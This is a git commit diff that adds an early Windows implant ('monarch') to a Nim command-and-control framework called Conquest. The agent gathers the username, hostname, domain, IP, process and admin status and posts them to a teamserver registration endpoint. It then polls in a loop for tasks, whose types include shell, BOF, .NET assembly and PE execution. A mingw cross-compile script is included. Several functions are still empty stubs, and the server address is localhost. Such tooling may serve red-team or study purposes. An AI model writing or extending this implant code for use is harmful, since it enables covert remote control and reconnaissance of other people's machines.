Added monarch agent
This commit is contained in:
2
.gitignore
vendored
2
.gitignore
vendored
@@ -1,5 +1,5 @@
|
|||||||
# Ignore agents
|
# Ignore agents
|
||||||
agents/
|
# agents/
|
||||||
*.db
|
*.db
|
||||||
# Ignore binaries
|
# Ignore binaries
|
||||||
*/bin/*
|
*/bin/*
|
||||||
|
|||||||
13
agents/README.md
Normal file
13
agents/README.md
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
# Conquest Agents
|
||||||
|
|
||||||
|
For cross-compilation from UNIX to Windows, use the following command:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim
|
||||||
|
```
|
||||||
|
|
||||||
|
or
|
||||||
|
|
||||||
|
```
|
||||||
|
./build.sh
|
||||||
|
```
|
||||||
65
agents/monarch/agentinfo.nim
Normal file
65
agents/monarch/agentinfo.nim
Normal file
@@ -0,0 +1,65 @@
|
|||||||
|
import winim, os, net
|
||||||
|
|
||||||
|
import ./types
|
||||||
|
|
||||||
|
# Username
|
||||||
|
proc getUsername*(): string =
|
||||||
|
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
|
||||||
|
var
|
||||||
|
buffer = newWString(UNLEN + 1)
|
||||||
|
dwSize = DWORD buffer.len
|
||||||
|
|
||||||
|
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
|
||||||
|
return $buffer[0 ..< int(dwSize)]
|
||||||
|
|
||||||
|
# Hostname/Computername
|
||||||
|
proc getHostname*(): string =
|
||||||
|
var
|
||||||
|
buffer = newWString(CNLEN + 1)
|
||||||
|
dwSize = DWORD buffer.len
|
||||||
|
|
||||||
|
GetComputerNameW(&buffer, &dwSize)
|
||||||
|
return $buffer[0 ..< int(dwSize)]
|
||||||
|
|
||||||
|
# Domain Name
|
||||||
|
proc getDomain*(): string =
|
||||||
|
const ComputerNameDnsDomain = 2 # COMPUTER_NAME_FORMAT (https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ne-sysinfoapi-computer_name_format)
|
||||||
|
var
|
||||||
|
buffer = newWString(UNLEN + 1)
|
||||||
|
dwSize = DWORD buffer.len
|
||||||
|
|
||||||
|
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
|
||||||
|
return $buffer[ 0 ..< int(dwSize)]
|
||||||
|
|
||||||
|
|
||||||
|
# Current process name
|
||||||
|
proc getProcessExe*(): string =
|
||||||
|
let
|
||||||
|
hProcess: HANDLE = GetCurrentProcess()
|
||||||
|
buffer = newWString(MAX_PATH + 1)
|
||||||
|
|
||||||
|
try:
|
||||||
|
if hProcess != 0:
|
||||||
|
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
|
||||||
|
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
|
||||||
|
return string($buffer).extractFilename()
|
||||||
|
finally:
|
||||||
|
CloseHandle(hProcess)
|
||||||
|
|
||||||
|
# Current process ID
|
||||||
|
proc getProcessId*(): int =
|
||||||
|
return int(GetCurrentProcessId())
|
||||||
|
|
||||||
|
# Current process elevation/integrity level
|
||||||
|
proc isElevated*(): bool =
|
||||||
|
# isAdmin() function from the 'os' module returns whether the process is executed with administrative privileges
|
||||||
|
return isAdmin()
|
||||||
|
|
||||||
|
# IPv4 Address (Internal)
|
||||||
|
proc getIPv4Address*(): string =
|
||||||
|
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
|
||||||
|
return $getPrimaryIpAddr()
|
||||||
|
|
||||||
|
# Windows Version
|
||||||
|
proc getOSVersion*(): string =
|
||||||
|
discard
|
||||||
3
agents/monarch/build.sh
Normal file
3
agents/monarch/build.sh
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim
|
||||||
40
agents/monarch/client.nim
Normal file
40
agents/monarch/client.nim
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
import strformat, os, times
|
||||||
|
import winim
|
||||||
|
|
||||||
|
import ./[types, http]
|
||||||
|
import commands/shell
|
||||||
|
|
||||||
|
proc main() =
|
||||||
|
|
||||||
|
#[
|
||||||
|
The process is the following:
|
||||||
|
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
|
||||||
|
2. Agent collects information relevant for the registration (using Windows API)
|
||||||
|
3. Agent registers to the teamserver
|
||||||
|
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
|
||||||
|
]#
|
||||||
|
|
||||||
|
let listener = "NVIACCXB"
|
||||||
|
let agent = register(listener)
|
||||||
|
echo fmt"[+] [{agent}] Agent registered."
|
||||||
|
|
||||||
|
#[
|
||||||
|
Infinite Routine:
|
||||||
|
1. Sleep Obfuscation
|
||||||
|
2. Retrieve task from /tasks endpoint
|
||||||
|
3. Execute task and post result to /results
|
||||||
|
4. If additional tasks have been fetched, go to 2.
|
||||||
|
5. If no more tasks need to be executed, go to 1.
|
||||||
|
]#
|
||||||
|
while true:
|
||||||
|
|
||||||
|
sleep(10 * 1000)
|
||||||
|
|
||||||
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||||
|
echo fmt"[{date}] Checking for tasks..."
|
||||||
|
|
||||||
|
discard getTasks(listener, agent)
|
||||||
|
|
||||||
|
|
||||||
|
when isMainModule:
|
||||||
|
main()
|
||||||
3
agents/monarch/commands/shell.nim
Normal file
3
agents/monarch/commands/shell.nim
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
import winim
|
||||||
|
|
||||||
|
import ../types
|
||||||
54
agents/monarch/http.nim
Normal file
54
agents/monarch/http.nim
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
import httpclient, json, strformat, asyncdispatch
|
||||||
|
|
||||||
|
import ./[types, agentinfo]
|
||||||
|
|
||||||
|
proc register*(listener: string): string =
|
||||||
|
|
||||||
|
let client = newAsyncHttpClient()
|
||||||
|
|
||||||
|
# Define headers
|
||||||
|
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||||
|
|
||||||
|
# Create registration payload
|
||||||
|
let body = %*{
|
||||||
|
"username": getUsername(),
|
||||||
|
"hostname":getHostname(),
|
||||||
|
"domain": getDomain(),
|
||||||
|
"ip": getIPv4Address(),
|
||||||
|
"os": getOSVersion(),
|
||||||
|
"process": getProcessExe(),
|
||||||
|
"pid": getProcessId(),
|
||||||
|
"elevated": isElevated()
|
||||||
|
}
|
||||||
|
|
||||||
|
echo $body
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Register agent to the Conquest server
|
||||||
|
let responseBody = waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
|
||||||
|
return responseBody
|
||||||
|
except HttpRequestError as err:
|
||||||
|
echo "Registration failed"
|
||||||
|
quit(0)
|
||||||
|
finally:
|
||||||
|
client.close()
|
||||||
|
|
||||||
|
proc getTasks*(listener: string, agent: string): seq[Task] =
|
||||||
|
|
||||||
|
let client = newAsyncHttpClient()
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Register agent to the Conquest server
|
||||||
|
let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
|
||||||
|
echo responseBody
|
||||||
|
|
||||||
|
except HttpRequestError as err:
|
||||||
|
echo "Not found"
|
||||||
|
quit(0)
|
||||||
|
finally:
|
||||||
|
client.close()
|
||||||
|
|
||||||
|
return @[]
|
||||||
|
|
||||||
|
proc postResults*(listener: string, agent: string, results: string) =
|
||||||
|
discard
|
||||||
25
agents/monarch/types.nim
Normal file
25
agents/monarch/types.nim
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
import winim
|
||||||
|
|
||||||
|
type
|
||||||
|
TaskCommand* = enum
|
||||||
|
ExecuteShell = "shell"
|
||||||
|
ExecuteBof = "bof"
|
||||||
|
ExecuteAssembly = "dotnet"
|
||||||
|
ExecutePe = "pe"
|
||||||
|
|
||||||
|
TaskStatus* = enum
|
||||||
|
Created = "created"
|
||||||
|
Completed = "completed"
|
||||||
|
Pending = "pending"
|
||||||
|
Failed = "failed"
|
||||||
|
Cancelled = "cancelled"
|
||||||
|
|
||||||
|
TaskResult* = string
|
||||||
|
|
||||||
|
Task* = ref object
|
||||||
|
id*: int
|
||||||
|
agent*: string
|
||||||
|
command*: TaskCommand
|
||||||
|
args*: seq[string]
|
||||||
|
result*: TaskResult
|
||||||
|
status*: TaskStatus
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
import terminal, strformat, strutils, tables
|
import terminal, strformat, strutils, tables
|
||||||
import ./commands
|
import ./interact
|
||||||
import ../[types, globals, utils]
|
import ../[types, globals, utils]
|
||||||
import ../db/database
|
import ../db/database
|
||||||
|
|
||||||
@@ -131,11 +131,4 @@ proc register*(agent: Agent): bool =
|
|||||||
cq.add(agent)
|
cq.add(agent)
|
||||||
cq.writeLine(fgYellow, styleBright, fmt"[{agent.firstCheckin}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
|
cq.writeLine(fgYellow, styleBright, fmt"[{agent.firstCheckin}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
|
||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
||||||
#[
|
|
||||||
Agent interaction mode
|
|
||||||
When interacting with a agent, the following functions are called:
|
|
||||||
- addTask, to add a new tasks to the agents task queue
|
|
||||||
- getTaskResult, get the result for the task from the agent
|
|
||||||
]#
|
|
||||||
@@ -2,7 +2,7 @@ import argparse, times, strformat, terminal
|
|||||||
import ../[types]
|
import ../[types]
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Agnet Argument parsing
|
Agent Argument parsing
|
||||||
]#
|
]#
|
||||||
var parser = newParser:
|
var parser = newParser:
|
||||||
help("Conquest Command & Control")
|
help("Conquest Command & Control")
|
||||||
@@ -44,4 +44,11 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
|
|||||||
except UsageError:
|
except UsageError:
|
||||||
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
||||||
|
|
||||||
cq.writeLine("")
|
cq.writeLine("")
|
||||||
|
|
||||||
|
proc createTask*(args: varargs[string]): Task =
|
||||||
|
discard
|
||||||
|
|
||||||
|
proc addTask*(cq: Conquest, agent: Agent, task: Task) =
|
||||||
|
discard
|
||||||
|
|
||||||
Reference in New Issue
Block a user